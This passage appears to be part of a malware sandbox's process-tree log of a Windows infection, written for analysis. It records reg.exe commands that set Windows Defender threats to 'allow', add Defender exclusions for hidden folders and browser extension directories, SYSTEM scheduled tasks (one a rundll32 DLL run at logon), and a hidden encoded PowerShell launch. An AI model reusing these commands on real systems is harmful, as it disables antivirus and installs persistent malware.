\"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
                                                                                        2⤵
                                                                                          PID:6120
                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                            "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                                            3⤵
                                                                                              PID:5216
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                                                4⤵
                                                                                                  PID:3656
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                                                                                3⤵
                                                                                                  PID:6036
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                                                                                  3⤵
                                                                                                    PID:5764
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                                                                    3⤵
                                                                                                      PID:5564
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                                                                      3⤵
                                                                                                        PID:5516
                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                                                                        3⤵
                                                                                                          PID:2180
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                                                          3⤵
                                                                                                            PID:5336
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                                                            3⤵
                                                                                                              PID:2828
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                                                              3⤵
                                                                                                              • Modifies data under HKEY_USERS
                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                              PID:5492
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                                                                              3⤵
                                                                                                                PID:824
                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                                                                                3⤵
                                                                                                                  PID:5740
                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                                                                                                  3⤵
                                                                                                                    PID:2316
                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                                                                                    3⤵
                                                                                                                      PID:5356
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                                                                      3⤵
                                                                                                                        PID:5628
                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                                                                        3⤵
                                                                                                                          PID:4604
                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                                                                          3⤵
                                                                                                                            PID:5504
                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                                                                                            3⤵
                                                                                                                              PID:2672
                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                                                                                              3⤵
                                                                                                                                PID:5284
                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                                                                                                3⤵
                                                                                                                                  PID:5840
                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                                                                                                  3⤵
                                                                                                                                    PID:4704
                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                                                                                                    3⤵
                                                                                                                                      PID:5768
                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                                                                                                                      3⤵
                                                                                                                                        PID:5728
                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                                                                                                                        3⤵
                                                                                                                                          PID:5784
                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                                                                                                                          3⤵
                                                                                                                                            PID:5264
                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                                                                                                                            3⤵
                                                                                                                                              PID:4596
                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                                                                                                                              3⤵
                                                                                                                                                PID:5968
                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                                                                                                                                3⤵
                                                                                                                                                  PID:1184
                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                                                                                                                                                  3⤵
                                                                                                                                                    PID:2720
                                                                                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DufnooWHNFUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DufnooWHNFUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\IAvstfEYU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\IAvstfEYU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\WNdNVmbTRKpEC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\WNdNVmbTRKpEC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\gNEkwGGiCnIU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\gNEkwGGiCnIU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\sdTGWCKIydsYsNrSARR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\sdTGWCKIydsYsNrSARR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\cvDkMpEVJyabfeVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\cvDkMpEVJyabfeVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\mrTyqNDBdkhwJTRHw\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\mrTyqNDBdkhwJTRHw\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\fgekRaJKKiJdEvwV\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\fgekRaJKKiJdEvwV\" /t REG_DWORD /d 0 /reg:64;"
                                                                                                                                                  2⤵
                                                                                                                                                    PID:5944
                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DufnooWHNFUn" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                      3⤵
                                                                                                                                                        PID:5612
                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\WNdNVmbTRKpEC" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                        3⤵
                                                                                                                                                          PID:3496
                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\cvDkMpEVJyabfeVB /t REG_DWORD /d 0 /reg:32
                                                                                                                                                          3⤵
                                                                                                                                                            PID:1632
                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                            3⤵
                                                                                                                                                              PID:6068
                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                              3⤵
                                                                                                                                                                PID:2356
                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\mrTyqNDBdkhwJTRHw /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:2564
                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\fgekRaJKKiJdEvwV /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:4848
                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\fgekRaJKKiJdEvwV /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                    3⤵
                                                                                                                                                                      PID:1916
                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\mrTyqNDBdkhwJTRHw /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                      3⤵
                                                                                                                                                                        PID:4364
                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                        3⤵
                                                                                                                                                                          PID:1636
                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                          3⤵
                                                                                                                                                                            PID:5276
                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\cvDkMpEVJyabfeVB /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                            3⤵
                                                                                                                                                                              PID:2112
                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\sdTGWCKIydsYsNrSARR" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                              3⤵
                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                              • Loads dropped DLL
                                                                                                                                                                              PID:2120
                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\sdTGWCKIydsYsNrSARR" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                              3⤵
                                                                                                                                                                                PID:5500
                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gNEkwGGiCnIU2" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                3⤵
                                                                                                                                                                                  PID:3184
                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gNEkwGGiCnIU2" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                  3⤵
                                                                                                                                                                                    PID:2596
                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\WNdNVmbTRKpEC" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                    3⤵
                                                                                                                                                                                      PID:1072
                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\IAvstfEYU" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                      3⤵
                                                                                                                                                                                        PID:5012
                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\IAvstfEYU" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                        3⤵
                                                                                                                                                                                          PID:3720
                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                          "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DufnooWHNFUn" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                          3⤵
                                                                                                                                                                                            PID:4500
                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                          schtasks /CREATE /TN "gVBOgAtSW" /SC once /ST 14:22:39 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                                                                                                          2⤵
                                                                                                                                                                                          • Creates scheduled task(s)
                                                                                                                                                                                          PID:4664
                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                          schtasks /run /I /tn "gVBOgAtSW"
                                                                                                                                                                                          2⤵
                                                                                                                                                                                            PID:1468
                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                            schtasks /DELETE /F /TN "gVBOgAtSW"
                                                                                                                                                                                            2⤵
                                                                                                                                                                                              PID:3448
                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                              schtasks /CREATE /TN "HddpujWaDpLIbkLdt" /SC once /ST 04:21:19 /RU "SYSTEM" /TR "\"C:\Windows\Temp\fgekRaJKKiJdEvwV\fcCwMaVthMrKJoX\FxDoDiP.exe\" gT /Fosite_idjGo 385118 /S" /V1 /F
                                                                                                                                                                                              2⤵
                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                              PID:4012
                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                              schtasks /run /I /tn "HddpujWaDpLIbkLdt"
                                                                                                                                                                                              2⤵
                                                                                                                                                                                                PID:5280
                                                                                                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                              1⤵
                                                                                                                                                                                                PID:1912
                                                                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                                                                                                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                                                                                                1⤵
                                                                                                                                                                                                  PID:5172
                                                                                                                                                                                                  • C:\Windows\system32\gpupdate.exe
                                                                                                                                                                                                    "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                      PID:780
                                                                                                                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                      PID:6048
                                                                                                                                                                                                    • C:\Windows\system32\gpscript.exe
                                                                                                                                                                                                      gpscript.exe /RefreshSystemParam
                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                        PID:2296
                                                                                                                                                                                                      • C:\Windows\Temp\fgekRaJKKiJdEvwV\fcCwMaVthMrKJoX\FxDoDiP.exe
                                                                                                                                                                                                        C:\Windows\Temp\fgekRaJKKiJdEvwV\fcCwMaVthMrKJoX\FxDoDiP.exe gT /Fosite_idjGo 385118 /S
                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                          PID:2496
                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                            schtasks /DELETE /F /TN "bmfUAJAHieefCXsdaD"
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                            • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                            PID:880
                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                            cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                              PID:5964
                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                  PID:1224
                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                  PID:5704
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                    REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                      PID:5624
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                    schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\IAvstfEYU\NWSMkj.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "gcsaRhxvmhmmEZS" /V1 /F
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                                                                    PID:5736
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                    schtasks /CREATE /TN "gcsaRhxvmhmmEZS2" /F /xml "C:\Program Files (x86)\IAvstfEYU\UOxZFys.xml" /RU "SYSTEM"
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                                                                    PID:2720
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                    schtasks /END /TN "gcsaRhxvmhmmEZS"
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                      PID:5964
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                      schtasks /DELETE /F /TN "gcsaRhxvmhmmEZS"
                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                        PID:1008
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                        schtasks /CREATE /TN "IsxNCaiPdRDTBP" /F /xml "C:\Program Files (x86)\gNEkwGGiCnIU2\wZTIlye.xml" /RU "SYSTEM"
                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                                                                                                        PID:1516
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                        schtasks /CREATE /TN "GQBvHPrMcnsQR2" /F /xml "C:\ProgramData\cvDkMpEVJyabfeVB\hslVLdj.xml" /RU "SYSTEM"
                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                                                                                                        PID:5884
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                        schtasks /CREATE /TN "FDSsfUJUNzWcTDuAR2" /F /xml "C:\Program Files (x86)\sdTGWCKIydsYsNrSARR\jYACFUN.xml" /RU "SYSTEM"
                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                                                                                                        PID:5572
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                        schtasks /CREATE /TN "mTrzZzYaKbZcxyPVaUZ2" /F /xml "C:\Program Files (x86)\WNdNVmbTRKpEC\uVAQIlJ.xml" /RU "SYSTEM"
                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                                                                                                        PID:5220
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
